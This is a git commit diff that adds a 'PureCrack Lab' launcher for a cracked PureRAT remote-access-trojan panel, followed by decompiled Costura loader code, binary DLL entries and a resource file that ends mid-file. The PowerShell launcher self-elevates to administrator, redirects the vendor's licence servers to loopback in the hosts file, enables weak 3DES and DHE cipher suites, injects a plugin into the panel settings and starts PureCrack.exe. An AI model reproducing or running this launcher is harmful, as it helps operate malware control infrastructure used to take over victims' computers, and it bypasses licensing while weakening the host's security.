commit 2e2fbbdb3c680d2f5a7e1b210a44419dabb9081a Author: i2p Date: Thu Aug 27 10:56:38 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..da561fb Binary files /dev/null and b/.DS_Store differ diff --git a/Launch.bat b/Launch.bat new file mode 100644 index 0000000..e348df6 --- /dev/null +++ b/Launch.bat @@ -0,0 +1,2 @@ +@echo off +powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0Launch.ps1" diff --git a/Launch.ps1 b/Launch.ps1 new file mode 100644 index 0000000..31d8ab4 --- /dev/null +++ b/Launch.ps1 @@ -0,0 +1,105 @@ +# PureCrack Lab Launcher — run this every time (all steps are idempotent) +param([switch]$SkipSetup) + +# Self-elevate if not admin +if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")) { + $extraArgs = if ($SkipSetup) { "-SkipSetup" } else { "" } + Start-Process powershell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`" $extraArgs" + exit +} + +$root = Split-Path $MyInvocation.MyCommand.Path -Parent +Write-Host "=== PureCrack Lab Setup ===" -ForegroundColor Cyan +Write-Host "Root: $root" + +if (-not $SkipSetup) { + # Hosts entries (7 total — all purecoder endpoints → loopback) + $hostsPath = "C:\Windows\System32\drivers\etc\hosts" + $hostsContent = Get-Content $hostsPath -Raw + $needed = @( + "127.0.0.1 api.purecoder.io", + "127.0.0.1 api1.purecoder.io", + "127.0.0.1 api2.purecoder.io", + "127.0.0.1 us.purecoder.io", + "127.0.0.1 eu.purecoder.io", + "127.0.0.1 us.purecoder.su", + "127.0.0.1 eu.purecoder.su" + ) + $added = 0 + foreach ($entry in $needed) { + $hostname = ($entry -split "\s+")[1] + if ($hostsContent -notmatch [regex]::Escape($hostname)) { + Add-Content $hostsPath $entry + $added++ + } + } + Clear-DnsClientCache + Write-Host "[+] Hosts: $added new entries added (7 total)" -ForegroundColor Green + + # .NET Framework strong-crypto (forces TLS 1.2 for legacy .NET 4.x apps) + $regPaths = @( + "HKLM:\SOFTWARE\Microsoft\.NETFramework\v4.0.30319", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319" + ) + foreach ($p in $regPaths) { + if (-not (Test-Path $p)) { New-Item -Path $p -Force | Out-Null } + Set-ItemProperty -Path $p -Name "SchUseStrongCrypto" -Value 1 -Type DWord -Force + Set-ItemProperty -Path $p -Name "SystemDefaultTlsVersions" -Value 1 -Type DWord -Force + } + Write-Host "[+] .NET strong-crypto regkeys set" -ForegroundColor Green + + # TLS cipher suites required by the panel (disabled by default on Win 11) + $ciphers = @( + "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", + "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", + "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", + "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", + "TLS_RSA_WITH_3DES_EDE_CBC_SHA" + ) + foreach ($c in $ciphers) { Enable-TlsCipherSuite -Name $c -ErrorAction SilentlyContinue } + Write-Host "[+] Cipher suites expanded (DHE-RSA + 3DES)" -ForegroundColor Green +} + +# Ensure data\ exists so PureCrack can write certs there on first run +$null = New-Item -Path (Join-Path $root "data") -ItemType Directory -Force + +# Inject PureHelper plugin into Settings.json with correct absolute path +# (the panel stores FilePath as absolute, so we recompute it every launch) +$settingsPath = Join-Path $root "panel\data\Settings.json" +$pluginPath = Join-Path $root "panel\Plugins\PureHelper.dll" +if ((Test-Path $settingsPath) -and (Test-Path $pluginPath)) { + $content = Get-Content $settingsPath -Raw + $escapedPath = $pluginPath -replace '\\', '\\\\' + $newEntry = '"CustomPlugins": [{"Name": "PureHelper","FilePath": "' + $escapedPath + '"}]' + $content = [regex]::Replace($content, '"CustomPlugins"\s*:\s*\[[\s\S]*?\]', $newEntry) + [System.IO.File]::WriteAllText($settingsPath, $content, (New-Object System.Text.UTF8Encoding $false)) + Write-Host "[+] Plugin injected -> $pluginPath" -ForegroundColor Green +} else { + if (-not (Test-Path $settingsPath)) { Write-Host "[!] Settings.json missing" -ForegroundColor Yellow } + if (-not (Test-Path $pluginPath)) { Write-Host "[!] PureHelper.dll missing" -ForegroundColor Yellow } +} + +# Tell PureCrack where Settings.json lives (enables IPs reorder) +$env:PURE_SETTINGS_JSON = $settingsPath +Write-Host "[+] PURE_SETTINGS_JSON -> $settingsPath" -ForegroundColor Green + +# Kill any stale PureRAT processes (can't have two running at once) +$stale = Get-Process -Name PureRAT -ErrorAction SilentlyContinue +if ($stale) { + $stale | Stop-Process -Force + Write-Host "[+] Killed $($stale.Count) stale PureRAT process(es)" -ForegroundColor Yellow +} + +# Launch PureCrack +$pureCrack = Join-Path $root "PureCrack.exe" +if (-not (Test-Path $pureCrack)) { + Write-Host "[!] PureCrack.exe not found at $pureCrack" -ForegroundColor Red + Read-Host "Press Enter to exit" + exit 1 +} + +Write-Host "" +Write-Host "[*] Launching PureCrack..." -ForegroundColor Cyan +& $pureCrack diff --git a/PureCrack.exe.config b/PureCrack.exe.config new file mode 100644 index 0000000..ebb9733 --- /dev/null +++ b/PureCrack.exe.config @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/decompiled/.DS_Store b/decompiled/.DS_Store new file mode 100644 index 0000000..b70cfb6 Binary files /dev/null and b/decompiled/.DS_Store differ diff --git a/decompiled/Assemblies/costura.costura.dll b/decompiled/Assemblies/costura.costura.dll new file mode 100644 index 0000000..dbb5b65 Binary files /dev/null and b/decompiled/Assemblies/costura.costura.dll differ diff --git a/decompiled/Assemblies/costura.costura.pdb b/decompiled/Assemblies/costura.costura.pdb new file mode 100644 index 0000000..2004151 Binary files /dev/null and b/decompiled/Assemblies/costura.costura.pdb differ diff --git a/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..a8b4ff9 Binary files /dev/null and b/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..413bbfe Binary files /dev/null and b/decompiled/Assemblies/costura.cs.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.de.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.de.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..5b06573 Binary files /dev/null and b/decompiled/Assemblies/costura.de.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.de.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.de.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..37b0f5b Binary files /dev/null and b/decompiled/Assemblies/costura.de.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.es.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.es.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..adb4f3b Binary files /dev/null and b/decompiled/Assemblies/costura.es.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.es.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.es.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..de746a8 Binary files /dev/null and b/decompiled/Assemblies/costura.es.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..25ca860 Binary files /dev/null and b/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..42d6996 Binary files /dev/null and b/decompiled/Assemblies/costura.fr.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.it.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.it.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..028060a Binary files /dev/null and b/decompiled/Assemblies/costura.it.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.it.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.it.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..c47060b Binary files /dev/null and b/decompiled/Assemblies/costura.it.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..f1f9a30 Binary files /dev/null and b/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..3709fbd Binary files /dev/null and b/decompiled/Assemblies/costura.ja.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..52b5a5c Binary files /dev/null and b/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..5e0a4be Binary files /dev/null and b/decompiled/Assemblies/costura.ko.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.microsoft.bcl.asyncinterfaces.dll b/decompiled/Assemblies/costura.microsoft.bcl.asyncinterfaces.dll new file mode 100644 index 0000000..6031ba1 Binary files /dev/null and b/decompiled/Assemblies/costura.microsoft.bcl.asyncinterfaces.dll differ diff --git a/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.dll b/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.dll new file mode 100644 index 0000000..7320422 Binary files /dev/null and b/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.dll differ diff --git a/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.pdb b/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.pdb new file mode 100644 index 0000000..4344077 Binary files /dev/null and b/decompiled/Assemblies/costura.microsoft.codeanalysis.csharp.pdb differ diff --git a/decompiled/Assemblies/costura.microsoft.codeanalysis.dll b/decompiled/Assemblies/costura.microsoft.codeanalysis.dll new file mode 100644 index 0000000..fb8b3ec Binary files /dev/null and b/decompiled/Assemblies/costura.microsoft.codeanalysis.dll differ diff --git a/decompiled/Assemblies/costura.microsoft.codeanalysis.pdb b/decompiled/Assemblies/costura.microsoft.codeanalysis.pdb new file mode 100644 index 0000000..2d65b49 Binary files /dev/null and b/decompiled/Assemblies/costura.microsoft.codeanalysis.pdb differ diff --git a/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..bd640e0 Binary files /dev/null and b/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..6163afa Binary files /dev/null and b/decompiled/Assemblies/costura.pl.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..9553c4f Binary files /dev/null and b/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..13692ef Binary files /dev/null and b/decompiled/Assemblies/costura.pt-br.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..7947cd5 Binary files /dev/null and b/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..d7c0ff3 Binary files /dev/null and b/decompiled/Assemblies/costura.ru.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.system.buffers.dll b/decompiled/Assemblies/costura.system.buffers.dll new file mode 100644 index 0000000..f2d83c5 Binary files /dev/null and b/decompiled/Assemblies/costura.system.buffers.dll differ diff --git a/decompiled/Assemblies/costura.system.collections.immutable.dll b/decompiled/Assemblies/costura.system.collections.immutable.dll new file mode 100644 index 0000000..7a5b655 Binary files /dev/null and b/decompiled/Assemblies/costura.system.collections.immutable.dll differ diff --git a/decompiled/Assemblies/costura.system.diagnostics.diagnosticsource.dll b/decompiled/Assemblies/costura.system.diagnostics.diagnosticsource.dll new file mode 100644 index 0000000..eafb192 Binary files /dev/null and b/decompiled/Assemblies/costura.system.diagnostics.diagnosticsource.dll differ diff --git a/decompiled/Assemblies/costura.system.memory.dll b/decompiled/Assemblies/costura.system.memory.dll new file mode 100644 index 0000000..4617199 Binary files /dev/null and b/decompiled/Assemblies/costura.system.memory.dll differ diff --git a/decompiled/Assemblies/costura.system.numerics.vectors.dll b/decompiled/Assemblies/costura.system.numerics.vectors.dll new file mode 100644 index 0000000..0865972 Binary files /dev/null and b/decompiled/Assemblies/costura.system.numerics.vectors.dll differ diff --git a/decompiled/Assemblies/costura.system.reflection.metadata.dll b/decompiled/Assemblies/costura.system.reflection.metadata.dll new file mode 100644 index 0000000..2a672fb Binary files /dev/null and b/decompiled/Assemblies/costura.system.reflection.metadata.dll differ diff --git a/decompiled/Assemblies/costura.system.runtime.compilerservices.unsafe.dll b/decompiled/Assemblies/costura.system.runtime.compilerservices.unsafe.dll new file mode 100644 index 0000000..c5ba4e4 Binary files /dev/null and b/decompiled/Assemblies/costura.system.runtime.compilerservices.unsafe.dll differ diff --git a/decompiled/Assemblies/costura.system.text.encoding.codepages.dll b/decompiled/Assemblies/costura.system.text.encoding.codepages.dll new file mode 100644 index 0000000..ec5e68b Binary files /dev/null and b/decompiled/Assemblies/costura.system.text.encoding.codepages.dll differ diff --git a/decompiled/Assemblies/costura.system.text.encodings.web.dll b/decompiled/Assemblies/costura.system.text.encodings.web.dll new file mode 100644 index 0000000..3d16c7e Binary files /dev/null and b/decompiled/Assemblies/costura.system.text.encodings.web.dll differ diff --git a/decompiled/Assemblies/costura.system.text.json.dll b/decompiled/Assemblies/costura.system.text.json.dll new file mode 100644 index 0000000..e8bee3a Binary files /dev/null and b/decompiled/Assemblies/costura.system.text.json.dll differ diff --git a/decompiled/Assemblies/costura.system.threading.tasks.extensions.dll b/decompiled/Assemblies/costura.system.threading.tasks.extensions.dll new file mode 100644 index 0000000..eeec928 Binary files /dev/null and b/decompiled/Assemblies/costura.system.threading.tasks.extensions.dll differ diff --git a/decompiled/Assemblies/costura.system.valuetuple.dll b/decompiled/Assemblies/costura.system.valuetuple.dll new file mode 100644 index 0000000..4ce28fd Binary files /dev/null and b/decompiled/Assemblies/costura.system.valuetuple.dll differ diff --git a/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..4e73a31 Binary files /dev/null and b/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..5ba39cd Binary files /dev/null and b/decompiled/Assemblies/costura.tr.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..f8c51f9 Binary files /dev/null and b/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..6a3164b Binary files /dev/null and b/decompiled/Assemblies/costura.zh-hans.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll b/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..e7e0ef8 Binary files /dev/null and b/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.resources.dll b/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..70b18c8 Binary files /dev/null and b/decompiled/Assemblies/costura.zh-hant.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/Costura/AssemblyLoader.cs b/decompiled/Costura/AssemblyLoader.cs new file mode 100644 index 0000000..41fe403 --- /dev/null +++ b/decompiled/Costura/AssemblyLoader.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.IO.Compression; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Costura; + +[CompilerGenerated] +internal static class AssemblyLoader +{ + private static object nullCacheLock = new object(); + + private static Dictionary nullCache = new Dictionary(); + + private static Dictionary assemblyNames = new Dictionary(); + + private static Dictionary symbolNames = new Dictionary(); + + private static int isAttached; + + private static string CultureToString(CultureInfo culture) + { + if (culture == null) + { + return ""; + } + return culture.Name; + } + + private static Assembly ReadExistingAssembly(AssemblyName name) + { + AppDomain currentDomain = AppDomain.CurrentDomain; + Assembly[] assemblies = currentDomain.GetAssemblies(); + Assembly[] array = assemblies; + foreach (Assembly assembly in array) + { + AssemblyName name2 = assembly.GetName(); + if (string.Equals(name2.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(CultureToString(name2.CultureInfo), CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase)) + { + return assembly; + } + } + return null; + } + + private static void CopyTo(Stream source, Stream destination) + { + byte[] array = new byte[81920]; + int count; + while ((count = source.Read(array, 0, array.Length)) != 0) + { + destination.Write(array, 0, count); + } + } + + private static Stream LoadStream(string fullName) + { + Assembly executingAssembly = Assembly.GetExecutingAssembly(); + if (fullName.EndsWith(".compressed")) + { + using (Stream stream = executingAssembly.GetManifestResourceStream(fullName)) + { + using DeflateStream source = new DeflateStream(stream, CompressionMode.Decompress); + MemoryStream memoryStream = new MemoryStream(); + CopyTo(source, memoryStream); + memoryStream.Position = 0L; + return memoryStream; + } + } + return executingAssembly.GetManifestResourceStream(fullName); + } + + private static Stream LoadStream(Dictionary resourceNames, string name) + { + if (resourceNames.TryGetValue(name, out var value)) + { + return LoadStream(value); + } + return null; + } + + private static byte[] ReadStream(Stream stream) + { + byte[] array = new byte[stream.Length]; + stream.Read(array, 0, array.Length); + return array; + } + + private static Assembly ReadFromEmbeddedResources(Dictionary assemblyNames, Dictionary symbolNames, AssemblyName requestedAssemblyName) + { + string text = requestedAssemblyName.Name.ToLowerInvariant(); + if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name)) + { + text = requestedAssemblyName.CultureInfo.Name + "." + text; + } + byte[] rawAssembly; + using (Stream stream = LoadStream(assemblyNames, text)) + { + if (stream == null) + { + return null; + } + rawAssembly = ReadStream(stream); + } + using (Stream stream2 = LoadStream(symbolNames, text)) + { + if (stream2 != null) + { + byte[] rawSymbolStore = ReadStream(stream2); + return Assembly.Load(rawAssembly, rawSymbolStore); + } + } + return Assembly.Load(rawAssembly); + } + + public static Assembly ResolveAssembly(object sender, ResolveEventArgs e) + { + lock (nullCacheLock) + { + if (nullCache.ContainsKey(e.Name)) + { + return null; + } + } + AssemblyName assemblyName = new AssemblyName(e.Name); + Assembly assembly = ReadExistingAssembly(assemblyName); + if ((object)assembly != null) + { + return assembly; + } + assembly = ReadFromEmbeddedResources(assemblyNames, symbolNames, assemblyName); + if ((object)assembly == null) + { + lock (nullCacheLock) + { + nullCache[e.Name] = true; + } + if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None) + { + assembly = Assembly.Load(assemblyName); + } + } + return assembly; + } + + static AssemblyLoader() + { + assemblyNames.Add("costura", "costura.costura.dll.compressed"); + symbolNames.Add("costura", "costura.costura.pdb.compressed"); + assemblyNames.Add("cs.microsoft.codeanalysis.csharp.resources", "costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("cs.microsoft.codeanalysis.resources", "costura.cs.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("de.microsoft.codeanalysis.csharp.resources", "costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("de.microsoft.codeanalysis.resources", "costura.de.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("es.microsoft.codeanalysis.csharp.resources", "costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("es.microsoft.codeanalysis.resources", "costura.es.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("fr.microsoft.codeanalysis.csharp.resources", "costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("fr.microsoft.codeanalysis.resources", "costura.fr.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("it.microsoft.codeanalysis.csharp.resources", "costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("it.microsoft.codeanalysis.resources", "costura.it.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ja.microsoft.codeanalysis.csharp.resources", "costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ja.microsoft.codeanalysis.resources", "costura.ja.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ko.microsoft.codeanalysis.csharp.resources", "costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ko.microsoft.codeanalysis.resources", "costura.ko.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("microsoft.bcl.asyncinterfaces", "costura.microsoft.bcl.asyncinterfaces.dll.compressed"); + assemblyNames.Add("microsoft.codeanalysis.csharp", "costura.microsoft.codeanalysis.csharp.dll.compressed"); + symbolNames.Add("microsoft.codeanalysis.csharp", "costura.microsoft.codeanalysis.csharp.pdb.compressed"); + assemblyNames.Add("microsoft.codeanalysis", "costura.microsoft.codeanalysis.dll.compressed"); + symbolNames.Add("microsoft.codeanalysis", "costura.microsoft.codeanalysis.pdb.compressed"); + assemblyNames.Add("pl.microsoft.codeanalysis.csharp.resources", "costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("pl.microsoft.codeanalysis.resources", "costura.pl.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("pt-br.microsoft.codeanalysis.csharp.resources", "costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("pt-br.microsoft.codeanalysis.resources", "costura.pt-br.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ru.microsoft.codeanalysis.csharp.resources", "costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ru.microsoft.codeanalysis.resources", "costura.ru.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("system.buffers", "costura.system.buffers.dll.compressed"); + assemblyNames.Add("system.collections.immutable", "costura.system.collections.immutable.dll.compressed"); + assemblyNames.Add("system.diagnostics.diagnosticsource", "costura.system.diagnostics.diagnosticsource.dll.compressed"); + assemblyNames.Add("system.memory", "costura.system.memory.dll.compressed"); + assemblyNames.Add("system.numerics.vectors", "costura.system.numerics.vectors.dll.compressed"); + assemblyNames.Add("system.reflection.metadata", "costura.system.reflection.metadata.dll.compressed"); + assemblyNames.Add("system.runtime.compilerservices.unsafe", "costura.system.runtime.compilerservices.unsafe.dll.compressed"); + assemblyNames.Add("system.text.encoding.codepages", "costura.system.text.encoding.codepages.dll.compressed"); + assemblyNames.Add("system.text.encodings.web", "costura.system.text.encodings.web.dll.compressed"); + assemblyNames.Add("system.text.json", "costura.system.text.json.dll.compressed"); + assemblyNames.Add("system.threading.tasks.extensions", "costura.system.threading.tasks.extensions.dll.compressed"); + assemblyNames.Add("system.valuetuple", "costura.system.valuetuple.dll.compressed"); + assemblyNames.Add("tr.microsoft.codeanalysis.csharp.resources", "costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("tr.microsoft.codeanalysis.resources", "costura.tr.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("zh-hans.microsoft.codeanalysis.csharp.resources", "costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("zh-hans.microsoft.codeanalysis.resources", "costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("zh-hant.microsoft.codeanalysis.csharp.resources", "costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("zh-hant.microsoft.codeanalysis.resources", "costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed"); + } + + public static void Attach() + { + if (Interlocked.Exchange(ref isAttached, 1) != 1) + { + AppDomain currentDomain = AppDomain.CurrentDomain; + currentDomain.AssemblyResolve += ResolveAssembly; + } + } +} diff --git a/decompiled/Libraries/.DS_Store b/decompiled/Libraries/.DS_Store new file mode 100644 index 0000000..dae8477 Binary files /dev/null and b/decompiled/Libraries/.DS_Store differ diff --git a/decompiled/Libraries/costura/CosturaUtility.cs b/decompiled/Libraries/costura/CosturaUtility.cs new file mode 100644 index 0000000..5ee76b1 --- /dev/null +++ b/decompiled/Libraries/costura/CosturaUtility.cs @@ -0,0 +1,9 @@ +using System; + +public static class CosturaUtility +{ + public static void Initialize() + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/costura/MethodTimeLogger.cs b/decompiled/Libraries/costura/MethodTimeLogger.cs new file mode 100644 index 0000000..9cbaa21 --- /dev/null +++ b/decompiled/Libraries/costura/MethodTimeLogger.cs @@ -0,0 +1,14 @@ +using System; +using System.Reflection; + +internal static class MethodTimeLogger +{ + public static void Log(MethodBase methodBase, long milliseconds, string message) + { + Log(methodBase.DeclaringType ?? typeof(object), methodBase.Name, milliseconds, message); + } + + public static void Log(Type type, string methodName, long milliseconds, string message) + { + } +} diff --git a/decompiled/Libraries/costura/Properties/AssemblyInfo.cs b/decompiled/Libraries/costura/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6cabe02 --- /dev/null +++ b/decompiled/Libraries/costura/Properties/AssemblyInfo.cs @@ -0,0 +1,13 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; + +[assembly: AssemblyCompany("Fody")] +[assembly: AssemblyFileVersion("5.7.0")] +[assembly: AssemblyInformationalVersion("5.7.0")] +[assembly: AssemblyCopyright("Copyright © Fody 2015 - 2021")] +[assembly: AssemblyTitle("Costura")] +[assembly: AssemblyProduct("Costura")] +[assembly: AssemblyDescription("Costura library")] +[assembly: AssemblyVersion("5.7.0.0")] diff --git a/decompiled/Libraries/costura/costura.costura.csproj b/decompiled/Libraries/costura/costura.costura.csproj new file mode 100644 index 0000000..f030979 --- /dev/null +++ b/decompiled/Libraries/costura/costura.costura.csproj @@ -0,0 +1,19 @@ + + + Costura + False + netstandard1.0 + + + 14.0 + True + False + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Reflection.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.cs.resx b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.cs.resx new file mode 100644 index 0000000..4234351 --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.cs.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089U výstupu bez zdroje musí být zadaný přepínač /out. + Dělení 